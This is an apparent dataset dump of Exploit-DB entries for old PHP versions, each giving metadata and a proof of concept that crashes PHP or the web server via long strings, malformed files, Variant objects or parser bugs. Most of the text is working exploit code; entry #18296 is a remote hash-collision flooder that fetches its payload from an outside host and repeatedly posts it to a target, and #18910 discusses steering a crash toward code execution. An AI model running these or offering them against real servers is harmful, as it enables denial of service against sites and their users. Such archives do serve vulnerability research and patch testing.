deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40306
Description: PHP 5.0.0 - 'xmldocfile()' Local Denial of Service
Type: dos
Platform: php
Date: 2016-08-29
Author: Yakir Wizman

Exploit:
<?php
#############################################################################
## PHP 5.0.0 xmldocfile() Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 5.0.0
## Download @ http://museum.php.net/php5/php-5.0.0-Win32.zip
## Date: 26/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
if (!extension_loaded("domxml")) die("You need domxml extension loaded!");

$str = str_repeat('A', 9999);
xmldocfile($str);
?>
Exploit-DB #29823
Description: PHP 5.2.1 'GD' Extension - '.WBMP' File Integer Overflow
Type: dos
Platform: php
Date: 2007-04-07
Author: Ivan Fratric

Exploit:
// source: https://www.securityfocus.com/bid/23357/info

PHP's GD extension is prone to two integer-overflow vulnerabilities because it fails to ensure that integer values aren't overrun.

Successfully exploiting these issues allows attackers to crash the affected application, potentially denying service to legitimate users. Due to the nature of the issues, code execution may also be possible, but this has not been confirmed.

PHP 5.2.1 and prior versions are vulnerable. 

#define BUFSIZE 1000000

#include <stdio.h>

int main()
{
      int c;
      char buf[BUFSIZE];

      FILE *fp = fopen("test.wbmp","w");

      //write header
      c = 0;
      fputc(c,fp);
      fputc(c,fp);

      //write width = 2^32 / 4 + 1
      c = 0x84;
      fputc(c,fp);
      c = 0x80;
      fputc(c,fp);
      fputc(c,fp);
      fputc(c,fp);
      c = 0x01;
      fputc(c,fp);

      //write height = 4
      c = 0x04;
      fputc(c,fp);

      //write some data to cause overflow
      fwrite(buf,sizeof(buf),1,fp);

      fclose(fp);
}
Exploit-DB #29577
Description: PHP 5.2.1 - STR_IReplace Remote Denial of Service
Type: dos
Platform: php
Date: 2007-02-09
Author: Thomas Hruska

Exploit:
source: https://www.securityfocus.com/bid/22505/info

PHP is prone to a denial-of-service vulnerability because it fails to properly sanitize user-supplied input.

An attacker who can run PHP code on a vulnerable computer may exploit this vulnerability to crash PHP and the webserver, denying service to legitimate users.

This issue affects PHP 5.2.1; other versions may also be vulnerable. 

<?
   $Data = "Change tracking and management software designed to watch 
for abnormal system behavior.\nSuggest features, report bugs, or ask 
questions here.";
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
?>
Exploit-DB #32769
Description: PHP 5.2.5 - 'mbstring.func_overload' WebServer Denial of Service
Type: dos
Platform: php
Date: 2009-01-30
Author: strategma

Exploit:
source: https://www.securityfocus.com/bid/33542/info

PHP is prone to a denial-of-service vulnerability because it fails to limit global scope for certain settings relating to Unicode text operations.

Attackers can exploit this issue to crash the affected webserver, denying service to legitimate users. 

<?php
        $v = 'Òîâà å òåñò|test.php';
        print substr($v,0,strpos($v,'|'));
?>
Exploit-DB #30760
Description: PHP 5.2.5 - Multiple GetText functions Denial of Service Vulnerabilities
Type: dos
Platform: php
Date: 2007-11-13
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/26428/info

PHP is prone to multiple denial-of-service vulnerabilities because it fails to perform adequate boundary checks on user-supplied input.

Attackers can exploit these issues to cause denial-of-service conditions. Given the nature of these issues, attackers may also be able to execute arbitrary code, but this has not been confirmed.

PHP 5.2.5 is vulnerable; other versions may also be affected. 

Proof of concept example :

root@unsafebox:/# uname -a
Linux unsafebox 2.6.20-16-generic #2 SMP Sun Sep 23 19:50:39 UTC 2007 
i686 GNU/Linux

root@unsafebox:/# php -v
PHP 5.2.5 (cli) (built: Nov 11 2007 07:56:04)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies

root@unsafebox:/# php -r 'dgettext(str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 
'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 
'dngettext("hi",str_repeat("A",8476509),"hi",-1);'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'gettext(str_repeat("A",8476509));'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'ngettext(str_repeat("A",8476509),"hi",-1);'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 
'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped)
Exploit-DB #32715
Description: PHP 5.2.8 - 'popen()' Function Buffer Overflow
Type: dos
Platform: php
Date: 2009-01-12
Author: e.wiZz!

Exploit:
source: https://www.securityfocus.com/bid/33216/info

PHP is prone to a buffer-overflow vulnerability because it fails to perform boundary checks before copying user-supplied data to insufficiently sized memory buffers.

An attacker can exploit this issue to execute arbitrary machine code in the context of the affected webserver. Failed exploit attempts will likely crash the webserver, denying service to legitimate users.

PHP 5.2.8 and prior versions are vulnerable.

UPDATE (March 4, 2009): Further reports indicate that this issue may not be exploitable as described. We will update this BID pending further investigation. 

<?php
$____buff=str_repeat("A",9999);
$handle = popen('/whatever/', $____buff);
echo $handle;
?>
Exploit-DB #33625
Description: PHP 5.3.1 - 'session_save_path() Safe_mode()' Restriction Bypass Exploiot
Type: dos
Platform: php
Date: 2010-02-11
Author: Grzegorz Stachowiak

Exploit:
source: https://www.securityfocus.com/bid/38182/info

PHP is prone to a 'safe_mode' restriction-bypass vulnerability. Successful exploits could allow an attacker to write session files in arbitrary directions.

This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; the 'safe_mode' restrictions are assumed to isolate users from each other. 

{

session_save_path(";;/byp/;a/../../humhum");
session_start();

}
Exploit-DB #33677
Description: PHP 5.3.1 - LCG Entropy Security
Type: dos
Platform: php
Date: 2010-02-26
Author: Rasmus

Exploit:
source: https://www.securityfocus.com/bid/38430/info

PHP is prone to a security vulnerability that affects LCG (Linear Congruential) entropy.

Attackers can exploit this issue to steal sessions or other sensitive data.

Versions prior to PHP 5.2.13 are affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33677.tar.gz
Exploit-DB #18976
Description: PHP 5.3.10 - 'spl_autoload()' Local Denial of Service
Type: dos
Platform: php
Date: 2012-06-03
Author: Yakir Wizman

Exploit:
<?php
#####################################################################
## PHP 5.3.10 spl_autoload() Local Denial of Service
## Tested on Windows 7 64bit, English, Apache, PHP 5.3.10
## Date: 02/06/2012
## Local Denial of Service
## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>
## ISRAEL
## http://www.0x31337.net
#####################################################################

$buff = str_repeat("A",9999);
spl_autoload($buff);
?>
Exploit-DB #18978
Description: PHP 5.3.10 - 'spl_autoload_call()' Local Denial of Service
Type: dos
Platform: php
Date: 2012-06-03
Author: Yakir Wizman

Exploit:
<?php
#####################################################################
## PHP 5.3.10 spl_autoload_call() Local Denial of Service
## Tested on Windows 7 64bit, English, Apache, PHP 5.3.10
## Date: 02/06/2012
## Local Denial of Service
## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>
## ISRAEL
## http://www.0x31337.net
#####################################################################

$buffer = str_repeat("A",9999);
spl_autoload_call($buffer);
?>
Exploit-DB #18977
Description: PHP 5.3.10 - 'spl_autoload_register()' Local Denial of Service
Type: dos
Platform: php
Date: 2012-06-03
Author: Yakir Wizman

Exploit:
<?php
#####################################################################
## PHP 5.3.10 spl_autoload_register() Local Denial of Service
## Tested on Windows 7 64bit, English, Apache, PHP 5.3.10
## Date: 02/06/2012
## Local Denial of Service
## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>
## ISRAEL
## http://www.0x31337.net
#####################################################################

$buffer = str_repeat("A",9999);
spl_autoload_register($buffer);

## Or..
# spl_autoload_register($buffer,1,1); #Should work too.
?>
Exploit-DB #33755
Description: PHP 5.3.2 'xmlrpc' Extension - Multiple Remote Denial of Service Vulnerabilities
Type: dos
Platform: php
Date: 2010-03-12
Author: Auke van Slooten

Exploit:
source: https://www.securityfocus.com/bid/38708/info

PHP's xmlrpc extension library is prone to multiple denial-of-service vulnerabilities because it fails to properly handle crafted XML-RPC requests.

Exploiting these issues allows remote attackers to cause denial-of-service conditions in the context of an application using the vulnerable library.

PHP 5.3.1 is vulnerable; other versions may also be affected. 

<?php
$req = '<?xml version="1.0"?>
<methodCall>
   </methodCall>';
    $result = xmlrpc_decode_request( $req, $frop );
?>
Exploit-DB #35164
Description: PHP 5.3.2 - 'zend_strtod()' Floating-Point Value Denial of Service
Type: dos
Platform: php
Date: 2011-01-03
Author: Rick Regan

Exploit:
source: https://www.securityfocus.com/bid/45668/info

PHP is prone to a remote denial-of-service vulnerability.

Successful attacks will cause applications written in PHP to hang, creating a denial-of-service condition.

PHP 5.3.3 is vulnerable; other versions may also be affected. 

<?php $d = 2[PII_REDACTED]072011e-308; ?>
Exploit-DB #14678
Description: PHP 5.3.3 - 'ibase_gen_id()' Off-by-One Overflow
Type: dos
Platform: php
Date: 2010-08-18
Author: Canberk BOLAT

Exploit:
=== Vulnerability ===
PHP 5.3.3 (Possible All versions) ibase_gen_id() off-by-one overflow

=== Author ===
cb

=== Description ===
User-supplied variable "generator" copied to 128 byte buffer "query"
size of query variable. So
its cause off-by-one overflow. You can see [1] snprintf copy statement
to "query" variable.

/* {{{ proto int ibase_gen_id(string generator [, int increment [,
resource link_identifier ]])
   Increments the named generator and returns its new value */
PHP_FUNCTION(ibase_gen_id)
{
	zval *link = NULL;
	char query[128], *generator;
	int gen_len;
	long inc = 1;
	ibase_db_link *ib_link;
	ibase_trans *trans = NULL;
	XSQLDA out_sqlda;
	ISC_INT64 result;

	RESET_ERRMSG;

	if (FAILURE == zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,
"s|lr", &generator, &gen_len,
			&inc, &link)) {
		RETURN_FALSE;
	}

	PHP_IBASE_LINK_TRANS(link, ib_link, trans);
	
	[1] snprintf(query, sizeof(query), "SELECT GEN_ID(%s,%ld) FROM
rdb$database", generator, inc);
...
}	

=== Patch ===
	Replace [1] with [2].
	
	--- [1] snprintf(query, sizeof(query), "SELECT GEN_ID(%s,%ld) FROM
rdb$database", generator, inc);
	+++ [2] snprintf(query, sizeof(query) - 1  "SELECT GEN_ID(%s,%ld)
FROM rdb$database", generator, inc);

===========================================================================
Download:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14678.zip (ibase_gen_id_poc.zip)
Exploit-DB #35354
Description: PHP 5.3.5 - 'grapheme_extract()' Null Pointer Dereference Denial of Service
Type: dos
Platform: php
Date: 2011-02-17
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/46429/info

PHP is prone to a denial-of-service vulnerability caused by a NULL-pointer dereference.

An attacker can exploit this issue to cause an appliation written in PHP to crash, denying service to legitimate users.

PHP 5.3.5 is vulnerable; other versions may also be affected. 

The following proof-of-concept is available:

grapheme_extract('a',-1);
Exploit-DB #18296
Description: PHP 5.3.8 - Hashtables Denial of Service
Type: dos
Platform: php
Date: 2012-01-01
Author: infodox

Exploit:
  

# Exploit Title: CVE-2011-4885 PHP Hashtables Denial of Service
Exploit
 # Date: 1/1/12
 # Author: infodox
 # Software Link: php.net
 #
Version: 5.3.*
 # Tested on: Linux
 # CVE : CVE-2011-4885 

Exploit
Download -- http://infodox.co.cc/Downloads/phpdos.txt 

<?php
/*
PHP 5.3.* Hash Colission DoS Exploit by infodox
Original version by itz me (opensc.ws)
CVE-2011-4885

Mirrors List:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18296.txt (hashcollide.txt)
http://compsoc.nuigalway.ie/~infodox/hashcollide.txt
http://jrs-s.net/hashcollide.txt
http://www.infodox.co.cc/Downloads/hashcollide.txt

Changes:
Different mirror for hashcollide.txt
Now takes target as a command line argument
Status message printing

Twitter: @info_dox
Blog: blog.infodox.co.cc
Site: http://www.infodox.co.cc/
*/
$targ = $argv[1];
$x = file_get_contents("http://jrs-s.net/hashcollide.txt"); // if this doesnt work replace with the mirrors_lst ones...
while(1) {
 echo "firing";
 $ch = curl_init("$targ");
 curl_setopt($ch, CURLOPT_POSTFIELDS, $x);
 curl_exec($ch);
 curl_close($ch);
 echo "[+] Voly Sent!";
}
?>
Exploit-DB #36789
Description: PHP 5.3.8 - Remote Denial of Service
Type: dos
Platform: php
Date: 2011-12-18
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/52043/info

PHP is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to exhaust available memory, denying access to legitimate users.

PHP versions prior to 5.3.9 are vulnerable. 

<?php
while (true)
{
strtotime('Monday 00:00 Europe/Paris'); // Memory leak
}
?>
Exploit-DB #35483
Description: PHP 5.3.x 'Intl' Extension - 'NumberFormatter::setSymbol()' Denial of Service
Type: dos
Platform: php
Date: 2011-03-10
Author: thoger

Exploit:
source: https://www.securityfocus.com/bid/46968/info

PHP is prone to a remote denial-of-service vulnerability that affects the 'Intl' extension.

Successful attacks will cause the application to crash, creating a denial-of-service condition. Due to the nature of this issue, arbitrary code-execution may be possible; however, this has not been confirmed.

PHP versions prior to 5.3.6 are vulnerable.

numfmt_set_symbol(numfmt_create("en", NumberFormatter::PATTERN_DECIMAL),[PII_REDACTED], "")
Exploit-DB #35484
Description: PHP 5.3.x 'Zip' Extension - 'stream_get_contents()' Denial of Service
Type: dos
Platform: php
Date: 2011-03-10
Author: paulgao

Exploit:
source: https://www.securityfocus.com/bid/46969/info

PHP is prone to a remote denial-of-service vulnerability that affects the 'Zip' extension.

Successful attacks will cause the application to crash, creating a denial-of-service condition. Due to the nature of this issue, arbitrary code-execution may be possible; however, this has not been confirmed.

Versions prior to PHP 5.3.6 are vulnerable. 

<?php

$target_file = 'META-INF/MANIFEST.MF';

$za = new ZipArchive();
if ($za->open('test.jar') !== TRUE)
{
    return FALSE;
}

if ($za->statName($target_file) !== FALSE)
{
    $fd = $za->getStream($target_file);
}
else
{
    $fd = FALSE;
}
$za->close();

if (is_resource($fd))
{
    echo strlen(stream_get_contents($fd));
}

?>
Exploit-DB #12259
Description: PHP 5.3.x - Denial of Service
Type: dos
Platform: php
Date: 2010-04-16
Author: ITSecTeam

Exploit:
//#DOS Php 5.3.x
//###########################################################################
//#Title: Dos Php 5.3.0
//#Vendor: http://php.net
//#Tested On Php 5.3.0 On Windows xp Sp3 And Redhat
//###########################################################################
//#AUTHOR: ITSecTeam
//#Email: Bug@ITSecTeam.com
//#Website: http://www.itsecteam.com
//#Forum : http://forum.ITSecTeam.com
//#Original Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability34.htm
//#Thanks: Pejvak,M3hr@nS,r3dm0v3,am!rkh@n
//###########################################################################
//#
//# Exploit
//###########################################################################
<?php
$junk=str_repeat("[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]",99999);
for($i=0;$i<2;){
$buff=bcpow($junk, '3', 2);
$buff=null;
}
//Coded By Pejvak;
?>
Exploit-DB #18910
Description: PHP 5.4.3 - 'com_event_sink' Denial of Service
Type: dos
Platform: php
Date: 2012-05-21
Author: condis

Exploit:
<?php 

/*

PHP <= 5.4.3 (com_event_sink) Code Execution Proof of Concept
Found by condis
Website: http://cond.psychodela.pl

Tested on:
	
	PHP 5.3.8  + Windows XP SP3 Professional PL
	PHP 5.3.10 + Windows XP SP3 Professional PL
	PHP 5.4.0  + Windows XP SP3 Professional PL
	PHP 5.4.3  + Windows XP SP3 Professional PL
	
Description:

	This is a very strange bug and I had a really hard time trying to classify
	it, but lets start from the beginning. 
	
	As we can read in PHP manual : com_event_sink function connects events from 
	COM object to a PHP object. First argument should be a COM object. But when
	I set it up to new Variant(), PHP instance crashed. 
	
	After few minutes of research it was clear to me that we can control EAX 
	register by defining first parameter of our Variant object.

	The proof of concept code located below should produce situation similar to
	this :

	eax=024e0050 ebx=010328f0 ecx=41414141 edx=00c0facc esi=0121ff68 edi=00000000
	eip=100f33d5 esp=00c0faa8 ebp=00000000 iopl=0         nv up ei pl nz na po nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202

	100f33d4 50              push    eax
	100f33d5 8b01            mov     eax,dword ptr [ecx]  ds:0023:41414141=????????
	100f33d7 ffd0            call    eax

	IMHO it is possible to write a reliable exploit using i.e.: ROP method but due 
	to lack of free time and skill I leave this task to someone else. Also 0in tried 
	to write stable exploit for same bug in com_print_typeinfo() function but as far 
	as I know it isn't stable enough :( 


Greetz: cxib, 0in, and others ;> 

*/

$EAX   = 0x024E0050; 			// stack starts at 0x024E0050 (in my case)
$stack = str_repeat("x41", 0x1000000);	// putting some garbage on the stack so the ECX would be 41414141

class foo { }
com_event_sink(new Variant($EAX), new foo(), array());	

?>
Exploit-DB #37566
Description: PHP 5.4.3 - PDO Memory Access Violation Denial of Service
Type: dos
Platform: php
Date: 2012-08-02
Author: 0x721427D8

Exploit:
source: https://www.securityfocus.com/bid/54777/info

PHP is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause the web server to crash, denying service to legitimate users.

PHP 5.4.3 is vulnerable; other versions may also be affected. 

<?php
 try {
 $db = new PDO('mysql:host=localhost;dbname=aws', "root", "");
 //tokens: 
 // SELECT;*;from;'user';/*
 //$sql = "SELECT * from 'user'/*";
 $stmt = $db->prepare("SELECT * from 'user'".mysql_real_escape_string($_GET['query']));
 $stmt->execute();
 //crash
 $stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
 $stmt->fetch(PDO::FETCH_BOUND);
 print_r( $type);
 }
 catch (Exception $e)
 {
 echo "Failed: " . $e->getMessage();
 }
 ?>
 -----
 <?php
try {
$db = new PDO('mysql:host=localhost;dbname=aws', "root", "");

//tokens:
// SELECT;*;from;'user';/* 
$sql = ":/*";

$stmt = $db->prepare($sql);
$stmt->execute();     // crashes php worker in pdo_parse_params()

$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
print_r( $type);

} catch (Exception $e) {
  echo "Failed: " . $e->getMessage();
}

?>
---

<pre>
<?php
echo "hmm beginning\n";
try {
$db = new PDO('mysql:host=localhost;dbname=aws', "root", "");
echo "lets get it on\n";
//tokens:
// SELECT;*;from;'user';/* 
$sql = "SELECT * from user :/**";
echo $sql;
$stmt = $db->prepare($sql);
echo "prepared :)\n";
print_r($stmt);
$stmt->execute();     // crashes php worker in pdo_parse_params()
print_r($stmt);
echo "executed :(\n";
$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
echo "--data-\n";
print_r( $type);
echo "--data--\n";

} catch (Exception $e) {
        echo "EXCEPTION";
  echo "Failed: " . $e->getMessage();
}
echo "hmmm end\n";
?>
</pre>

Actual result:
--------------
root@bt:/opt/lampp# gdb ./bin/php 
(gdb) run poc_pdo_linux_short_1.php
Starting program: /opt/lampp/bin/php /opt/lampp/poc_pdo_linux_short_1.php
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x08228a81 in ?? ()
(gdb) bt
#0  0x08228a81 in ?? ()
#1  0x082280eb in pdo_parse_params ()
#2  0x08223891 in ?? ()
#3  0x084b2aad in ?? ()
#4  0x084b1f87 in execute ()
#5  0x08490ed2 in zend_execute_scripts ()
#6  0x0843f13c in php_execute_script ()
#7  0x08506b46 in main ()
Exploit-DB #18909
Description: PHP 5.4.3 - wddx_serialize_* / stream_bucket_* Variant Object Null Ptr Dereference
Type: dos
Platform: php
Date: 2012-05-21
Author: condis

Exploit:
<?php 

/*

PHP <= 5.4.3 wddx_serialize_* / stream_bucket_* Variant Object Null Ptr Derefernce
Author : condis
Date : 10.04.2012 AD
Website : http://cond.psychodela.pl

----

Download : http://php.net/downloads.php

Tested on:
	
	PHP 5.3.8  + Windows XP SP3 Professional PL
	PHP 5.3.10 + Windows XP SP3 Professional PL
	PHP 5.4.0  + Windows XP SP3 Professional PL
	PHP 5.4.3  + Windows XP SP3 Professional PL
	
Description:

wddx_serialize_value and wddx_serialize_vars functions fails to handle Variant 
object when it is given as a first argument. 

Registers: 

	EAX 00000000 
	ECX 1056AAE8 php5ts.1056AAE8
	EDX 100EFCE0 php5ts.100EFCE0
	EBX 01032AB0
	ESP 00C0FAE0
	EBP 00000000
	ESI 0121E478
	EDI 0121CB50
	EIP 1028F22E php5ts.1028F22E

Crash:

	1028F22E   8A45 25          MOV AL,BYTE PTR SS:[EBP+25] 

Situation looks pretty much the same for both wddx_serialize_vars and 
wddx_serialize_value. Also functions stream_bucket_prepend and stream_bucket_append 
have some problems with handling Variant object when given as a second argument:

stream_bucket_append(1, new Variant(1));
stream_bucket_prepend(1, new Variant(1));

PS : Variant object is only available in PHP for Windows OS and it was implemented 
in PHP > 4.1.0 and PHP 5. 

For more details check : http://php.net/manual/en/class.variant.php

PS2: After running this via webserver my Apache wasn't able to handle requests
anymore and I had to restart him :)

kthxbye

*/

wddx_serialize_value(new Variant(666)); 

?>